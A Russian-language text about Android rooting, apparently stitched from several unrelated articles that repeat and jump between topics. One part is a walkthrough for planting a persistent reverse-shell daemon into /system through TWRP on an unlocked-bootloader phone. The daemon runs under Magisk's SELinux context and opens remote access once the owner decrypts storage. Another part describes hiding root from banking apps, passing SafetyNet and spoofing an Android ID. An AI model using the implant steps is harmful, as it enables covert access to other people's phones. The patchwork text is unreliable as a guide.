Что мне дают root права на android

Способы получения root

Раньше, когда деревья были высокими а слоны мохнатыми, во времена Android ~4, существовали специальные утилиты как на само устройство так и на ПК, с помощью которых можно было получить root.

Если выражаться точнее, эти утилиты взламывали систему одним из множества способов и снисходительно делились с вами кусочком этого доступа.

Большая часть таких утилит была на китайском языке и тыкаться приходилось буквально вслепую. Вот самые яркие представители этого класса:

Преимущества такого способа получения очевидны — простота получения и относительно высокий шанс успеха. Однако такие недостатки как шпионаж, фоновая установка ПО и в целом непрозрачность схемы, как по мне, перекрывают это преимущество с лихвой. Тем более, что на последних версиях Android вероятность успеха получения прав с помощью этих утилит всё ниже. Не рекомендую данный способ к применению.

В определенный момент, как альтернатива этим утилитам, на арену рутирования выходит OpenSource-проект Magisk разработанный, несомненно, талантливым, программистом, под ником topjohnwu.

Главная особенность данного метода — возможность «внесистемного» внесения изменений с помощью подключаемых модулей. Это означает, что с выключением Magisk-модуля, отменялись изменения в системе, которые вносил этот модуль.

Работает это, на самом деле, проще чем можно подумать. В корне файловой системы создается «зеркало» раздела data (так и называется — data_mirror) и необходимые изменения вносятся в систему посредством создания символических ссылок на этот раздел.

Также, старые версии Magisk «из коробки» способны скрыть факт наличия root-прав от программ, которые не любят их (банковские приложения, например). Новые версии требуют установки дополнительных модулей.

Потеряю ли я гарантию после получения root?

Конечно да! Это факт. Точно также теряют гарантию владельцы iPhone, после джейлбрейка. Но, к счастью, вернуться к стоковой (стандартной) прошивке производителя («откатится к стоку») и убрать root-права также легко. Поэтому, после таких манипуляций никто не догадается что у вас были установлены рут-права и вы дальше сможете предъявлять претензии по гарантии.

Рут-права позволяют полностью отвязать телефон от сервисов Google

Google иногда слишком много себе позволяет в плане посягательств на нашу приватность. Если вы вообще ничего не хотите сообщать о себе Google, рут-права позволяют полностью отключить сервисы и настройки, которые отслеживают активность вашего телефона. Пусть лучше следят за собой!

Что же плохого происходит когда загрузчик разблокируется?

Загрузка системы начинается с загрузчика. Загрузчик – это небольшой бинарный компонент, который запускается непосредственно чипсетом и отвечает за загрузку и запуск ядра. Если в настольных дистрибутивах linux мы привыкли в основном к загрузчику grub, то на android смартфонах у нас загрузчиком является aboot. Процесс загрузки происходит следующим образом:

Таблица хэшей dm-verity

Весь этот процесс называется boot flow и отлично проиллюстрирован здесь:

У загрузки с avb может быть 4 конечных состояния, условно обозначаемых цветами:

Задача механизмов avb и dm-verity убедиться в том, что загружаемые ядро и система не были изменены и дошли до устройства пользователя в таком виде в каком их выпустил производитель устройства. Если пользователь решил установить root-права или альтернативную сборку ОС, то он неминуемо нарушит хэши партиций и чтобы система могла продолжить работу а не уходила сразу в «красное состояние» в котором откажется загружаться, ему придётся разблокировать загрузчик и с точки зрения avb перевести устройство в «оранжевое состояние» где android будет закрывать глаза на модификации системы. Этим пользуются и инструменты для получения root, и сторонние сборки, этим могут воспользоваться и злоумышленники, этим воспользуемся и мы.

Логическим следствием перехода в «оранжевое состояние» и отключения avb является возможность загружать образы с ядром не подписанные производителем устройства. Среди любителей модифицировать android самым популярным проектом такого рода является «Team Win Recovery Project» или просто TWRP. TWRP позволяет делать с устройством практически всё, в частности монтировать и модифицировать любые разделы не загружаясь в саму систему непосредственно. Именно эта возможность нам будет нужна для нашей задачи, но для начала надо разобраться с тем, как именно данные пользователя хранятся на устройстве.

Как устроено хранилище

Если мы посмотрим на структуру разделов на хранилище смартфона, то увидим что их на устройстве довольно много.

Большинство из них небольшие, и содержат, например, логотип производителя девайса, который отображается сразу после подачи питания на плату устройства. Есть раздел содержащий прошивку, работающую на baseband процессоре и отвечающую за мобильную связь, звонки и интернет по стандартам 2G, 3G, LTE и т.д. Есть разделы содержащие BLOBы необходимые для работы с некоторыми устройствами. Нас будет интересовать всего несколько разделов, содержание которых монтируется в файловую систему и напрямую используется во время работы ОС:

Данные приложений, «internal storage», находятся по пути /data/data. В этой директории сложены директории-песочницы отдельных приложений, соответствующие их полным именам пакетов. Например:

drwx—— 8 u0_a69 u0_a69 4096 2021-01-29 13:31 com.google.android.youtube

Общее хранилище, «external storage», находится по пути /data/media/0, внешние SD-карты соответственно будут называться /data/media/1. Во время работы оно линкуется в /storage.

Рут-права открывают уязвимости системы для вирусов

Для Android пишутся вирусы. Просто потому, что это самая популярная система, которая стоит на подавляющем большинстве смартфонов. Кстати, у нас есть подборка антивирусов для Android. Если на ваш «рутованный» телефон попадет вирус, он сможет творить там все, что угодно — вплоть до того, что приведет систему в полную непригодность. Так что если вы все-таки решитесь на «рутование», первым делом установите антивирус.

Так стоит ли «рутовать» Android?

Использовать систему с правами суперпользователя — это как водить многотонный грузовик. Если вы действительно умеет это делать — то почему бы и нет. Но если не умеете — то сначала стоит получить необходимые знания и навыки. В общем, если вопрос «Как пропатчить KDE2 под FreeBSD?» у вас ассоциируется исключительно с аниме, то «рутовать» Android мы вам не советуем.

Еще несколько советов:

Как защититься?

Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох. Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства. Если раньше разница между стоковой сборкой ОС и альтернативной, усиленным всякими специализированными инструментами вроде XPrivacyLua с кастомными хуками была огромной, то теперь она очень сократилась.

Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать. Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.

Другой очевидный подход заключается в том, чтобы не допускать попадания устройства физически в чужие руки. По сути, всё что обсуждалось выше касается в основном только физического доступа. Если не держать постоянно включённым режим разработчика, не давать приложениям права администратора, следить за тем, что именно устанавливается на устройство и соблюдать базовые «правила гигиены», то всё будет хорошо.

Для тех случаев, когда устройство изымается пограничниками или полицией, либо попадает на время в руки злоумышленников возможно организовать противодействие. Разумеется, это имеет смысл только если смартфон в их руки попал не разблокированным. Это несложно, но требует некоторых регулярных усилий. Для этого нужно взять за привычку считать хэши основных разделов, в которые может быть подкинут бэкдор при физическом доступе, сразу после установки системных обновлений. Обновили систему – пересчитайте хэши и сохраните в надёжном месте. Если пользуетесь root-правами, то можно сделать нехитрое приложение для этого, если не пользуетесь – придётся загружаться после установки в TWRP и снимать там.

В общем-то логика получается следующей: после получения устройства на руки, не загружаясь в систему и не вводя код разблокировки, загружаемся в TWRP, пересчитываем хэши. Если на разделах boot, system или vendor они поменялись, то в систему было что-то добавлено, или по крайней мере была предпринята попытка этого.

Наибольшее ограничение в том, как мало существует устройств, на которых можно провернуть подобное. Несмотря на то, что в Google предоставил все необходимые возможности для этого, а в документации есть общее и подробное описание того как это работает, очень немногие производители поддерживают эту фичу. Честно говоря, я знаю только о двух – это Google (линейка смартфонов Pixel) и OnePlus. Поддержка проверки подписи операционной системы ключами пользователя не является обязательной для сертификации устройства и реализуется производителем устройства строго по его желанию. Полагаю, что большинство производителей просто не желает делать дополнительную работу, либо не желает чтобы у покупателей появился дополнительный повод использовать неродную ОС на их устройствах.

Использование такого подхода будет требовать сборки и подписи каждого нового обновления, что может быть утомительно, т.к. это требует времени, некоторых технических знаний, мощной производительной машины для проведения сборки, с большим и быстрым хранилищем на несколько сотен гигабайт, а также поддержки сервера на котором будут публиковаться обновления. Я уверен, что далеко не каждый захочет заниматься этим.

Настройка Magisk или как пройти SafetyNet

В новых версиях (24+) Magisk на смену Magisk Hide пришел новый метод сокрытия root — Zygisk. Его название состоит из слов Zygote — материнского низкоуровнего процесса Android, с помощью которого происходит работа Magisk и собственно названия приложения.

По умолчанию этот режим отключен в настройках Magisk, но я рекомендую включить его при первой же возможности.

Сразу после этого необходимо установить два модуля из Github-репозиториев — Universal SafetyNet Fix и Shamico. Первый нужен для прохождения CTS-аттестации (сертификация устройства SafetyNet), а второй для корректной работы функции скрытия root и DenyList magisk. Установка модулей интуитивно понятна и не должна вызвать вопросов.

Не уходя далеко после установки модулей переходим в раздел «Настройка DenyList», не активируя пункт «Активировать DenyList».

В этом меню мы увидим список установленных приложений. Скрытие root по умолчанию применено к сервисам Google, отдельно включать не надо! В большинстве случаев достаточно проставить галочки рядом с приложениями, от которых вы хотите скрыть рут, но бывают случаи, когда это не работает (например, некоторые банковские приложения). Тогда я советую нажать на плашку с названием приложения. Откроется весь список компонентов, от которых скрывается рут и проставить переключатель возле каждого из них. Приложений, которые обходили бы этот метод я еще не видел.

Для закрепления рекомендую использовать функцию «Скрыть приложение Magisk», поскольку его наличие можно вычислить элементарно по списку установленных приложений (так, например, работает MirPay). MagiskManager пересоберется со случайным именем пакета и предложит себя установить.

Если есть возможность, можно ограничить конкретным приложениям доступ к списку приложений с помощью Xposed-модулей вроде Thanox или XPrivacy Lua и тогда скрывать Magisk Manager не обязательно.

После проделанных действий необходимо как можно скорее перезагрузить телефон. Загрузка может быть слегка дольше, чем обычно.

Без должной настройки сервисы Google вскоре заметят чужака в системе и забракуют устройство по CTS.

Скрытие root для приложения необходимо делать до первого запуска целевого приложения! Мне попадались довольно злопамятные программы, которые раз увидев root, сохраняли мой id на сервере, приходилось либо перешивать устройство, либо подсовывать им фейковый Android ID.

Зачем вообще «рутуют» Android?

Получение прав суперпользователя, в народе известное как «рутование», позволяет получить полный контроль над устройством. Обладая правами суперпользователя на устройстве, можно сделать практически все что угодно. Поэтому и существует огромное количество приложений (в том числе и в официальном магазине Google Play), требующих root-права для работы.

Чаще всего такие права нужны для того, чтобы делать нечто такое, что в Android обычно сделать невозможно — например, ограничивать сетевую активность некоторых или всех приложений, удалять надоевшие предустановленные приложения, разгонять процессор и так далее.

Вот наиболее популярные причины, по которым пользователи «рутуют» свои Android-устройства (здесь и далее списки составлены по данным, полученным из Kaspersky Security Network):

Какие программы для получения root самые популярные?

По нашим данным, для получения прав суперпользователя люди чаще всего используют вот эти приложения (в порядке убывания популярности):

К сожалению, многие из этих программ либо сами показывают рекламу, либо устанавливают на устройство дополнительные приложения, содержащие рекламные модули. Строго говоря, такое поведение нельзя назвать вредоносным, но ничего приятного в этом нет.

На всякий случай обращаем ваше внимание на то, что этот «хит-парад» не является нашей рекомендацией по использованию приложений для «рутования», он всего лишь отражает их популярность среди пользователей.

Чем опасно «рутование»? Что может пойти не так?

Как мы уже сказали, права суперпользователя позволяют получить полный контроль над устройством. И помимо указанных выше преимуществ, у этого есть и недостатки.

Важно понимать, что наличие у владельца устройства прав суперпользователя в системе нарушает главные принципы безопасности Android. То есть получение root — это по сути взлом операционной системы вашего планшета или смартфона вашими же руками.

В обычной ситуации все приложения в Android работают в изолированных средах (так называемых «песочницах», sandbox) и не могут получить доступ к другим приложениям или к системе. Но, обладая правами суперпользователя, приложение может выйти из своей изолированной среды и получить полный контроль над устройством.

При наличии прав суперпользователя приложения могут творить на устройстве все, что им заблагорассудится, — например, просматривать, изменять или удалять любые файлы, в том числе необходимые для работы устройства.

Стоит учитывать, что даже в легитимных, «чистых» приложениях бывают ошибки. Так что неприятности могут произойти в том числе «не специально», а просто из-за того, что разработчики где-то что-то не так сделали.

Также следует иметь в виду, что часто в результате «рутования» теряется гарантия устройства. А иногда в процессе получения прав root можно нарушить работу устройства так, что оно превратится в натуральный кирпич, вообще не подающий никаких признаков жизни, — и деньги вам за него не вернут.

А что в «рутованном» Android с вредоносными приложениями?

Для вредоносных приложений после получения прав суперпользователя наступает полное раздолье. Собственно, многие из троянов для Android как раз и пытаются всеми силами «получить рута». Если же пользователь сделал это самостоятельно — это просто подарок для разработчиков зловреда.

Что могут делать мобильные трояны при наличии прав суперпользователя:

Стоит отметить, что в большинстве указанных случаев зловреды способны сами получить права суперпользователя на устройстве с помощью использования уязвимостей в системе. Но некоторые зловреды используют уже существующие права. Кроме того, по нашим данным порядка 5% зловредов проверяют наличие прав рута на устройстве — например, так делает мобильный троян Obad.

В каких странах чаще всего «рутуют»?

По нашей статистике чаще всего это делают в Венесуэле — 26% пользователей из этой страны пользуются «рутованными» смартфонами. Среди африканских стран лидирует Алжир — 19% смартфонов там работают с правами суперпользователя. В Азии Android с root наиболее популярен в Бангладеш — 13%. Ну а в Европе на первом месте Молдова с впечатляющими 15%.

Что касается России, то у нас «рутованными» смартфонами пользуются 6,6% владельцев Android-устройств — и это близко к среднемировому показателю (7,6%).

Вот что еще интересно: по нашей статистике, топ-10 стран, в которых чаще всего «рутуют» Android, и топ-10 стран, в которых чаще всего случаются атаки на мобильные устройства, совпадают на 60%. А 9 из 10 самых «рутованных» стран входят в топ-25 самых атакуемых.

Работает ли антивирус в «рутованном» Android

К сожалению, преимуществами получения прав суперпользователя пользуются в основном плохие парни — хорошим парням приходится играть по правилам. Так что эффективность работы антивируса после получения на устройстве прав суперпользователя не повышается, а вот у вредоносных приложений может появиться масса новых способностей по обходу защиты.

Конечно, все зависит от конкретного зловреда и от того, насколько хорошо он умеет использовать возможности «рутованной» системы. Но в целом можно сказать одно: риск того, что защитное решение пропустит угрозу на «рутованном» устройстве, выше, чем на устройстве без прав суперпользователя.

Как получить root-права?

Мы, наконец, переходим от скучных лекций к решительным действиям.

Для получения таких прав, вы можете воспользоваться одной из перечисленных выше утилит, но только в том случае, если у вас есть возможность восстановить систему и нет возможности установить Magisk. В целом, я всё равно не рекомендую такие утилиты к применению.

Более подробно мы будем рассматривать установку Magisk на примере самой последней версии (25.2).

Предполагается, что вы уже разблокировали загрузчик и установили сторонний recovery. Устанавливать стороннюю прошивку необязательно, это не должно вызвать проблем.

Первым делом нам необходимо, как обычно, сделать полный бекап разделов системы на внешний носитель, вроде sd-карты, чтобы если что-то пойдет не так, вернуть как было.

Следующим шагом будет скачивание установочного файла Magisk (исключительно из официального репозитория!). Если ваш recovery позволяет устанавливать APK как zip-архивы, как, например, OrangeFox, то скачанный файл в исходном виде копируем на внешнюю память устройства, поскольку внутренняя зачастую шифруется и вы просто не найдете этот файл из recovery. В случае, если у вас другой recovery, файл Magisk.apk необходимо переименовать в Magisk.zip и таким же образом скопировать на устройство.

Далее необходимо загрузиться в recovery и сделать отдельно резервную копию раздела boot.img. Далее поясню, зачем.

В Magisk имеется возможность полного удаления root с помощью переименования файла установки в uninstall.zip и прошивки в recovery, НО, он не работает на системах с включенным шифрованием data.

Если вдруг какой-то модуль выведет систему из строя и у вас не будет возможности загрузиться в систему, будет очень проблемно этот самый модуль отключить или отключить весь Magisk.

Имея на руках boot исходной системы (без Magisk) мы сможем восстановить конкретно этот раздел и, в большинстве случаев, работоспособность системы.

После того, как бекапы сделаны, люки задраены, просто прошиваем установочный файл Magisk как любой другой архив через recovery. Всё.

В общем и целом, ничего сложного в самом процессе установки нет, после прошивки и загрузки системы, в меню приложений появится приложение «Magisk», которое при первом запуске обновится и будет работать. Самое важно и интересное кроется в настройке.

Как устроено шифрование хранилища

Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:

До первого ввода кода разблокировки данные пользователя всегда зашифрованы, после первого ввода – всегда расшифрованы. Даже когда пользователь в дальнейшем нажимает кнопку питания или система сама уходит в сон, то данные, с точки зрения ОС, больше не переходят в зашифрованное состояние, теперь их защищает только экран блокировки. В android пока не предусмотрен механизм очищения ключей для расшифровки файловой системы из памяти после определённого периода неактивности.

Это значит, что если после того, как устройство было разблокировано хотя бы однажды подключиться к нему, например по adb, то пользовательские данные будут доступны и можно получить к ним доступ даже если экран заблокирован.

Вот так выглядит общее хранилище до первого ввода кода разблокировки:

# ls -la /data/media/0/
total 100
drwxrwx— 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx— 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 3aIg6706qnt+JRerXQc,9B
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 5RxSnwRfzXH5JsgykyuneB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 9QCg2626EAEHNRc,IpjzjC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 XLrhnulSzxYVPwgkHhs8YC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 ZC6kM5uXi6,coHL+OYgLCB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 kJJ0DN8Tmhcs7hicwcEZ3A
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 mPaCm6PJHF9,MyimVTRozC
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 qIkgta78EOvsfnjupFXQ+C
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 uAP,C13tjXpxdP8PWVeMRD
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 v33cOjp,wu+hlgBIWnQdjB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 xxjD9tk7bDh9XZUzoDwMbB

А вот так после:

# ls -la /data/media/0/
total 100
drwxrwx— 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx— 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Alarms
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 Android
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 DCIM
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Download
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Movies
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Music
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Notifications
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Pictures
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Podcasts
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Ringtones
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 bluetooth

На самом деле, шифрование хранилища – самая трудно преодолимая часть нашей задачи по извлечению данных. Обойти шифрование с ключами в аппаратном ТЕЕ никак не представляется возможным, но зато из этой информации следует несколько полезных выводов, а наша задача начинает формироваться в конкретные технические требования.

Это подводит нас к мысли о том, что можно воспользоваться возможностью модифицировать никогда не шифруемую часть системы, внедрить в неё агента, который никак не затронет и не испортит зашифрованные данные, а в последствие даст нам доступ к ней после того как устройство будет возвращено пользователю и он сам первый раз введёт код разблокировки. Поскольку пользователь явно не будет вводить код разблокировки подключив устройство к нашему usb кабелю или находясь в нашей локальной сети, то использование adb нам не подходит и необходимо организовать удалённый доступ в формате reverse-shell.

При получении рут-прав вы теряете гарантию

Если, получив рут-доступ, вы бездумно броситесь стирать все подряд, чтобы высвободить память, то есть риск удалить что-то, критически необходимое для работы Android. И телефон перестанет включаться или выдаст ошибку, зависнет и просто откажется работать. А починить его по гарантии не получится. Почему? Ошибка возникла не по вине производителя — вы произвели взлом устройства, и вся ответственность за нее теперь лежит на вас.

Как получить рут-права?

Существует два способа получения прав суперпользователя:

Имея права суперпользователя, действуйте по принципу «не навреди». То есть, если вы не знаете, что это за параметр в меню, лучшее не менять ее значение. Если обычный пользователь при всем желании не может вывести смартфон из строя программным путем, то обладатель рут-прав — вполне. И не забывайте делать на ПК бекап всего важного на смартфоне, чтобы в случае проблем информация не исчезла безвозвратно.

Вот еще пара интересных тем для владельцев смартфонов:

Как работают root-права?

Когда то, для установки root-прав достаточно было перемонтировать раздел system в режим чтения-записи и скопировать туда исполняемый файл su. Затем появилась необходимость думать также и о политиках SELinux, и об AVB. Сегодня для получения root-прав можно выделить два основных подхода, которые можно условно назвать «легальным» и «нелегальным».

Нелегальные root-права и magisk

Я назвал предыдущий подход к получению root-прав «легальным», потому что всё необходимое для этого было намеренно заложено в систему на этапе сборки. Совершенно иной подход использует инструмент для получения root-прав magisk, ставший, де-факто, стандартным инструментом для этих целей в сообществе любителей android. Magisk устанавливается на любые устройства, на любые сборки, на любые версии android, и не только на отладочные варианты сборки, но и на релизные, и даже на те устройства, на которых применяются дополнительные защиты от несанкционированного получения root-прав. Magisk по полной эксплуатирует разблокированный загрузчик и, по сути, совершает настоящий изощрённый взлом за что и будем его называть его «нелегальным». Для нас наиболее важно то, что magisk, по сути, делает всё тоже что хотим сейчас сделать мы. Он закрепляется в системе также, как хотим закрепиться мы, а значит, похоже, что нам с ним по пути.

Для начала постараемся выяснить как magisk получает root-права в рантайме. На устройстве выполняем:

Я сократил вывод команды ps только до тех значений, которые нас интересуют.

Во-первых, мы видим что magisk имеет специальный контекст для своих процессов — u:r:magisk:s0. Наша оболочка с root-правами имеет терминал pts/1 и запущена с этим контекстом. Это явно не встроенный в систему контекст, а значит magisk смог его отредактировать и внедрить дополнительные правила перед запуском процесса init. Поскольку, наши root-права работают, и мы действительно можем делать в системе всё что угодно, контекст u:r:magisk:s0 должен иметь как минимум все те же разрешения, которые прописаны для u:r:su:s0, а может и больше.

Во-вторых, magisk имеет свой демон запущенный в системе – magiskd, он породил наш процесс с рутовым шеллом, а значит именно через него magisk и даёт другим процессам доступ с оболочке с root-правами, этот демон (PID 658) порождён процессом init (PPID 1), т.е. запущен как системный сервис. Демон также работает в контексте u:r:magisk:s0.

Мы подключились по adb и получили шелл на устройстве, терминал pts/0. Видно что процесс sh имеет контекст u:r:shell:s0, PID 5473 и PPID 956 который равен значению PID adbd, а сам adbd уже был порождён процессом init.

Мы вызываем исполняемый файл su и видим что его контекст – u:r:magisk_client:s0, следовательно magisk использует отдельный контекст для того, чтобы знать какие именно исполняемые файлы могут запрашивать доступ к root-правам. Исполняемый файл провоцирует открытие окна подтверждения доступа к root-правам для обычного shell, оно находится в пакете приложения MagiskManager — com.topjohnwu.magisk, получив результатат magiskd (PID 658) породил нам нашу оболочку sh с новым терминалом pts/1 (PID 5708, PPID 658), от которой мы отнаследовали и пользователя root (uid=0), и всемогущий контекст u:r:magisk:s0.

Для нас интересно вот что: если init запускается со своим ограниченным со всех сторон контекстом u:r:init:s0 из которого разрешены transition’ы только в прописанные в *.te файлах контексты для системных служб, а демон маджиска имеет контекст u:r:magisk:s0, значит magisk смог внедрить правило разрешающее прямой transition из u:r:init:s0 в u:r:magisk:s0. Это значит что и мы можем использовать контекст u:r:magisk:s0 в своём сервисе!

Что значит «получить root-права на Android»?

Если кратко и в двух словах, то получит рут-права означает что вы получаете права суперпользователя или проще говоря получаете права админа на своем телефоне. Если подробнее, то это значит, что вы сможете редактировать полностью все системные файлы, которые не доступны обычным пользователям. То есть вы или какие-либо приложения, которые работают только на рутированных девайсах, сможете получить доступ и изменять такие системные программы и фишки, как например, вспышка камеры, фонарики при уведомлениях и т.д.

Вы снимете все ограничения, даны вам стоковой прошивкой. Получить root-права на андроиде, это тоже что и джейлбрейк на устройствах Apple. На компьютерах Windows это изменение ваших полномочий от простого пользователя до администратора. Возможно, вам будет более понятно, когда вы дочитаете полную статью. Так что оставайтесь с нами.

Проверяем на реальном устройстве

Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:

И настроим слушатель:

После этого возвращаемся на хост машину.

$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo

Исполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.

Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):

$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT

Подготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:

$ ./buildrevshell.py ndk

Собранные пакеты будут лежать в директории out.

Переходим к установке.

Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания.

$ fastboot boot twrp.img

Небольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.

Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:

Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:

Если увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.

Ещё пара дежурных предупреждений:

Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:

$ adb shell ‘twrp sideload’

$ adb sideload zip_reverse_shell_install.zip

Важно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.

Вытаскиваем бэкапы с устройства:

$ adb pull /tmp/backup_original_partitions .

Теперь можно выключить или перезагрузить устройство.

Удаление с устройства производится в обратном порядке:

Перезагружаемся в fastboot

Если сохраняли бэкапы во время установки, то вызываем:

$ adb push backuporignialpartitions /tmp/backuporignialpartitions

$ adb shell ‘twrp sideload’
$ adb sideload zip_reverse_shell_uninstall.zip

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
disabled
seclabel u:r:magisk:s0
shutdown critical

on property:sys.boot_completed=1
start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.